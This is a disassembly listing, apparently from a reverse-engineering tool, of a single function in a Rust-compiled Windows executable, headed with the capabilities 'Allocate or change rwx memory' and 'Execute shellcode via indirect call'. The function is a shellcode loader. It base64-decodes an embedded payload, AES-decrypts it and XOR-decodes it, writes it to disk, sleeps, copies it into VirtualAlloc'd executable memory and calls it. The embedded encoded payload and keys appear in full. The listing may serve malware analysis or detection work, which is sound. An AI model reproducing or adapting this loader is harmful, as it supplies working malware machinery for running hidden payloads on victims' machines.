Function at 0x140002b60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x768
movdqa xmmword [rsp + 0x750], xmm6
movabs rdi, 0x8000000000000000
lea rax, str.__n_
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rsi, sym.core::ptr::drop_in_place_usize_::h14b457fbd36d19cf
mov qword [rsp + 0x80], rsi
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x88], xmm6
lea rcx, [rsp + 0x70]
call dbg._print
lea rax, str.Initializing_logging..._np_n_
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x80], rsi
movdqu xmmword [rsp + 0x88], xmm6
lea rcx, [rsp + 0x70]
call dbg._print
lea rax, str.Setting_up_configuration..._n
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x80], rsi
movdqu xmmword [rsp + 0x88], xmm6
lea rcx, [rsp + 0x70]
call dbg._print
lea rdx, str.kQfVrPpcP1kKXWRJ_36M5_mZBqC8jZfwRq4ZxFeVNVA7btC0Xh6QE4UpxDuTLniQm_8xa9cXYLinXD5I9XaZCND0HIC5Qp2Ys6JNRE9nQ1CuyTppkwlvB5LnpWA11K2xMLXB2y5yU7RaatvF07hKZ9XExm8Qkp56gAO_EZKLP_aETqqq56w1x9XDQSqcMg835WJR_44NqueJgFt0Cfq12IxRdq_cI7Ks2wvpDiRxnuXswamDqPsKfA2L5rsY3bhHetlPPYI2_mGB2Vl4VuGr04gCpPOef1EfF8FDy_J7BpRlRgFPgOEZ9txpFBCjnNo1wSTVEzFYcvqODT24AYBikxs36Ln8rajaTAdjJV02PIp4bRI4jPXP9dAO87I9iLFESC4XuvOEsk44TuIXRrYPvgykMvmRfG0mKNDifsrf5KD3DFNlEIIabFl1rJUivaDlCSnAiDpDB0AiVxvyjJtKlRT8S2v78bclh4Meb7sNicaTwycViUcYNH9kcxHxEH8KOzFjqEi4I33iXSV12NbjVKOpqbx0dxKlkdEP_aOzeydPKIiHKAaLK4RgJ8TF0xHyFwOjbfV4HIAB6aqJVVzgCxGxukBV5JbRgE6gy32lrrlL3rGVxtcl1h1UuTNH1cy9mTd_8hw8D9ks3W8LlkfTdIgWWv3EsVTo3ix8cdaJvmc8QJKpLjtsDXYvDfyVy_7J4eqEesgDtqWZVo_gWJDcQK8rZdsb9g4_g1s3EyKiCNu5JFr5TBW3qzkDpoJBvTy7bx6UWdsB8M6z8Dr0QY6b14oQXJnBit0b5b07L3T99XND6Nw59TZxEjiLBryFMblzAyjnF5VPXGFBieMdKi7iDwGWfE1okkdZcbxYHU9vpyw8s19v560hV12a7g_mhAO7gCfT6xuAaAis0NWcEs9Z4sRGoLAC7KiCcBNJrDW3JSGRj2hk3i0Bkv6FToMhK72hEuyl1Hu4h2qf7u8b7UAasT0_UohbWR_nO52UfYGEooVDwFRr8SC4UOz2mFm6OkELEry8LNGWMYJwe7slbojTDCN7ZFpTC7A0InyJtN1mgsk4Z0H70tphyoszuuUeZWoue9qqTF0NTaebSohwOYmwuAcyaqulKiwoH1PJp0QpjkKoYIBDrrRMsjzZmbZ1mViTIxN8L47Qci3dmbdQTs0zeap3lY1SDDoa0uvJqxPvH9r4_9uLaNrjRsyjZUiEZOQFailed_to_decode_shellcode
lea rcx, [rsp + 0x70]
mov r8d, 0x4d8
mov r9d, 1
call sym.base64::decode::decode_config::h429bc4a7ce63be25
mov r14, qword [rsp + 0x70]
cmp r14, rdi
je 0x14000334b
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov rbx, qword [rsp + 0x80]
lea rdx, str.curmIbbxh_RCMAYzzc8ZXQFailed_to_decode_AES_keyN__n_
lea rcx, [rsp + 0x70]
mov r8d, 0x18
mov r9d, 1
call sym.base64::decode::decode_config::h429bc4a7ce63be25
mov r12, qword [rsp + 0x70]
cmp r12, rdi
je 0x140003384
mov r15, qword [rsp + 0x78]
movq xmm6, qword [rsp + 0x80]
lea rdx, str.YkQfToVvfa93vuupaLTQpgFailed_to_decode_XOR_keyN__n_
lea rcx, [rsp + 0x70]
mov r8d, 0x18
mov r9d, 1
call sym.base64::decode::decode_config::h429bc4a7ce63be25
mov rsi, qword [rsp + 0x70]
cmp rsi, rdi
je 0x1400033c4
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x38], rax
movq rax, xmm6
cmp rax, 0x10
mov qword [rsp + 0x30], rsi
jne 0x140003404
mov rdi, qword [rsp + 0x80]
movdqu xmm6, xmmword [r15]
test r12, r12
je 0x140002d03
mov r8d, 1
mov rcx, r15
mov rdx, r12
call sym.__rust_dealloc
movdqa xmmword [rsp + 0x60], xmm6
mov rax, qword [0x1400a4008]
movzx eax, byte [rax]
cmp al, 0xff
je 0x140002d25
cmp al, 1
mov r12, qword [rsp + 0x38]
je 0x140002d80
jmp 0x140002de6
lea rcx, [rsp + 0x330]
mov edx, 1
mov r12, qword [rsp + 0x38]
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid::h82feca042524cb9c
lea rcx, [rsp + 0x70]
mov edx, 7
xor r8d, r8d
call sym.aes::autodetect::aes_intrinsics::init_get::cpuid_count::h2b9e113e2562f47e
mov esi, dword [rsp + 0x338]
mov eax, esi
not eax
test eax, 0xc000000
jne 0x140002dd7
call sym.core::core_arch::x86::xsave::_xgetbv::h9d0d75534a3be632
and eax, 2
shr eax, 1
shr esi, 0x19
and esi, eax
mov rax, qword [0x1400a4008]
mov byte [rax], sil
mov rsi, qword [rsp + 0x30]
je 0x140002de6
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x60]
call sym.__aes::ni::Aes128Enc_as_crypto_common::KeyInit_::new::hd187207282a05889
lea rcx, [rsp + 0x3e0]
lea rsi, [rsp + 0x70]
mov rdx, rsi
call fcn.1400028c0
lea r15, [rsp + 0x330]
mov r8d, 0xb0
mov rcx, r15
mov rdx, rsi
mov rsi, qword [rsp + 0x30]
call sym.memcpy
lea rcx, [rsp + 0x70]
mov r8d, 0x160
mov rdx, r15
call sym.memcpy
jmp 0x140002df5
mov rax, qword [0x1400a4008]
mov byte [rax], 0
mov rsi, qword [rsp + 0x30]
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x60]
call sym.aes::soft::fixslice::aes128_key_schedule::h3c8ea25775a0d200
lea rcx, [rsp + 0x490]
lea rdx, [rsp + 0x70]
mov r8d, 0x2c0
call sym.memcpy
test rbx, rbx
je 0x140002f5d
mov qword [rsp + 0x50], r14
js 0x14000348d
mov rax, qword [0x1400cc3e8]
movzx eax, byte [rax]
mov edx, 1
mov rcx, rbx
call sym.__rust_alloc
test rax, rax
je 0x140003494
mov r12, rax
mov rcx, rax
mov rdx, qword [rsp + 0x48]
mov r8, rbx
call sym.memcpy
mov rsi, rbx
lea rbx, [rsp + 0x340]
lea r15, [rsp + 0x490]
pxor xmm6, xmm6
lea r13, [rsp + 0x70]
lea rbp, [rsp + 0x330]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x58], rsi
jmp 0x140002ea9
mov rcx, r15
mov rdx, r12
mov r8, r12
call sym._ZN71__LT_aes..autodetect..Aes128_u20_as_u20_cipher..block..BlockDecrypt_GT_20decrypt_with_backend5inner17h674836684d780733E.l
sub rsi, r14
add r12, r14
test rsi, rsi
je 0x140002f13
mov r14d, 0x10
cmp rsi, 0x10
cmovb r14, rsi
mov qword [rsp + 0x330], r14
jb 0x1400032c5
mov rax, qword [0x1400a4008]
movzx eax, byte [rax]
cmp al, 1
je 0x140002e90
movdqu xmmword [rbx + 0x20], xmm6
movdqu xmmword [rbx + 0x10], xmm6
movdqu xmmword [rbx], xmm6
movups xmm0, xmmword [r12]
movaps xmmword [rsp + 0x330], xmm0
mov rcx, r13
mov rdx, r15
mov r8, rbp
call sym.aes::soft::fixslice::aes128_decrypt::h4f675b7aabe5a971
movdqu xmm0, xmmword [rsp + 0x70]
movdqu xmmword [r12], xmm0
sub rsi, r14
add r12, r14
test rsi, rsi
jne 0x140002ea9
mov rax, qword [0x1400a4008]
movzx eax, byte [rax]
mov rbx, qword [rsp + 0x58]
test rbx, rbx
je 0x140002f83
test rdi, rdi
mov r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
je 0x1400032a8
cmp rbx, 1
jne 0x140002f9c
xor ecx, ecx
mov r8, rbp
test bl, 1
jne 0x140003020
jmp 0x140003044
mov ebp, 1
mov ecx, 1
mov rdx, qword [rsp + 0x48]
mov r8, rbx
call sym.memcpy
mov rax, qword [0x1400a4008]
movzx eax, byte [rax]
jmp 0x140003044
mov r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x30]
mov r12, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
jmp 0x140003044
movabs r8, 0x8000000000000000
add r8, 0xfffffffffffffffe
and r8, rbx
xor ecx, ecx
jmp 0x140002fd7
xor edx, edx
div rdi
movzx eax, byte [r12 + rdx]
xor byte [rbp + rcx + 1], al
add rcx, 2
cmp r8, rcx
je 0x140003015
mov rax, rcx
or rax, rdi
shr rax, 0x20
je 0x140002ff0
mov rax, rcx
xor edx, edx
div rdi
jmp 0x140002ff6
mov eax, ecx
xor edx, edx
div edi
movzx eax, byte [r12 + rdx]
xor byte [rbp + rcx], al
lea rax, [rcx + 1]
mov rdx, rax
or rdx, rdi
shr rdx, 0x20
jne 0x140002fc0
xor edx, edx
div edi
jmp 0x140002fc5
mov r8, rbp
add r8, rcx
test bl, 1
je 0x140003044
mov rax, rcx
or rax, rdi
shr rax, 0x20
je 0x140003036
mov rax, rcx
xor edx, edx
div rdi
jmp 0x14000303c
mov eax, ecx
xor edx, edx
div edi
movzx eax, byte [r12 + rdx]
xor byte [r8], al
lea rax, str.Decrypted_and_de_obfuscated_shellcode._n
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rax, sym.core::ptr::drop_in_place_usize_::h14b457fbd36d19cf
mov qword [rsp + 0x80], rax
pxor xmm6, xmm6
movdqu xmmword [rsp + 0x88], xmm6
lea rcx, [rsp + 0x70]
call dbg._print
mov dword [rsp + 0x70], 0
movdqu xmmword [rsp + 0x78], xmm6
mov dword [rsp + 0x88], 7
mov qword [rsp + 0x8c], 0
mov word [rsp + 0x94], 0
mov byte [rsp + 0x91], 1
mov byte [rsp + 0x94], 1
mov byte [rsp + 0x93], 1
lea rdx, str.decrypted_shellcode.binFailed_to_create_file
lea rcx, [rsp + 0x70]
mov r8d, 0x17
call sym.std::fs::OpenOptions::_open::h86000b44730289bf
mov qword [rsp + 0x40], rbp
test rax, rax
jne 0x140003443
mov qword [rsp + 0x490], rdx
mov rdi, rbx
test rbx, rbx
je 0x1400031b9
lea r13, [rsp + 0x490]
lea rbx, [0x1400a5a40]
mov rbp, qword [rsp + 0x40]
mov r15, rdi
jmp 0x14000313b
cmp byte [rdx + 0xf], 0x23
jne 0x140003318
mov rcx, rdx
call sym._ZN4core3ptr42drop_in_place_LT_std..io..error..Error_GT_17h7ff82862888b4e7aE.llvm.3116175703722861984
test r15, r15
je 0x1400031b9
mov rcx, r13
mov rdx, rbp
mov r8, r15
call sym.__std::fs::File_as_std::io::Write_::write::h948aba950b90ea9d
test rax, rax
je 0x140003170
mov eax, edx
and eax, 3
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x14000312a
jmp 0x140003318
test rdx, rdx
je 0x140003311
mov rax, r15
sub rax, rdx
jb 0x1400032fa
add rbp, rdx
mov r15, rax
test r15, r15
jne 0x14000313b
jmp 0x1400031b9
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
je 0x14000312a
test rdx, rdx
jne 0x140003318
mov ecx, 5
xor edx, edx
mov rbx, rdi
mov rbp, qword [rsp + 0x40]
call dbg.sleep
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov r15, rax
test rax, rax
je 0x140003473
mov rcx, r15
mov rdx, rbp
mov r8, rbx
call sym.memcpy
lea rax, str.pc_n_
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
lea rax, sym.core::ptr::drop_in_place_usize_::h14b457fbd36d19cf
mov qword [rsp + 0x80], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x88], xmm0
lea rcx, [rsp + 0x70]
call dbg._print
call r15
mov rcx, qword [rsp + 0x490]
call sub.KERNEL32.dll_CloseHandle
test rbx, rbx
je 0x14000325e
mov r8d, 1
mov rcx, rbp
mov rdx, rbx
call sym.__rust_dealloc
test rsi, rsi
je 0x140003274
mov r8d, 1
mov rcx, r12
mov rdx, rsi
call sym.__rust_dealloc
test r14, r14
je 0x14000328c
mov r8d, 1
mov rcx, qword [rsp + 0x48]
mov rdx, r14
call sym.__rust_dealloc
movaps xmm6, xmmword [rsp + 0x750]
add rsp, 0x768
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x1400a5b80]
lea r8, [0x1400a5b60]
mov edx, 0x39
call dbg.panic
jmp 0x1400034a1
mov qword [rsp + 0x70], 0
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_generic_array_0.14.7_src_lib.rs
mov qword [rsp + 0x20], rax
lea r8, [0x1400a5bc0]
lea rdx, [rsp + 0x330]
lea r9, [rsp + 0x70]
xor ecx, ecx
call sym.core::panicking::assert_failed::he1ce5a1835a3df82
jmp 0x1400034a1
lea r8, str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6library_std_srciomod.rs
mov rcx, rdx
mov rdx, r15
call dbg.slice_start_index_len_fail
jmp 0x1400034a1
lea rdx, [0x1400a59b8]
mov qword [rsp + 0x70], rdx
lea rax, [0x1400a6318]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_write_to_file
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h7ff82862888b4e7a
lea r8, [rsp + 0x70]
mov edx, 0x17
call dbg.unwrap_failed
jmp 0x1400034a1
movups xmm0, xmmword [rsp + 0x78]
movaps xmmword [rsp + 0x490], xmm0
lea rax, [0x1400a61c0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a61a0]
lea r9, sym.core::ptr::drop_in_place_usize_::h14b457fbd36d19cf
lea r8, [rsp + 0x490]
mov edx, 0x1a
call dbg.unwrap_failed
movdqu xmm0, xmmword [rsp + 0x78]
movdqa xmmword [rsp + 0x490], xmm0
lea rax, [0x1400a6208]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a61f0]
lea r9, sym.core::ptr::drop_in_place_usize_::h14b457fbd36d19cf
lea r8, [rsp + 0x490]
mov edx, 0x18
call dbg.unwrap_failed
jmp 0x1400034a1
movdqu xmm0, xmmword [rsp + 0x78]
movdqa xmmword [rsp + 0x490], xmm0
lea rax, [0x1400a6250]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a6238]
lea r9, sym.core::ptr::drop_in_place_usize_::h14b457fbd36d19cf
lea r8, [rsp + 0x490]
mov edx, 0x18
call dbg.unwrap_failed
jmp 0x1400034a1
movq xmm0, r15
punpcklqdq xmm0, xmm6
mov qword [rsp + 0x70], r12
movdqu xmmword [rsp + 0x78], xmm0
lea rax, [0x1400a6268]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a5a90]
lea r9, sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h4be985d771f4a201
lea r8, [rsp + 0x70]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x1400034a1
mov qword [rsp + 0x70], rdx
lea rax, [0x1400a62e8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1400a62cf]
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h7ff82862888b4e7a
lea r8, [rsp + 0x70]
mov edx, 0x15
call dbg.unwrap_failed
jmp 0x1400034a1
lea rcx, str.Failed_to_allocate_executable_memory.
lea r8, str.N__n_
mov edx, 0x25
call sym.std::panicking::begin_panic::h6d4c93b3201449b5
jmp 0x1400034a1
call dbg.capacity_overflow
jmp 0x1400034a1
mov ecx, 1
mov rdx, rbx
call dbg.handle_alloc_error
ud2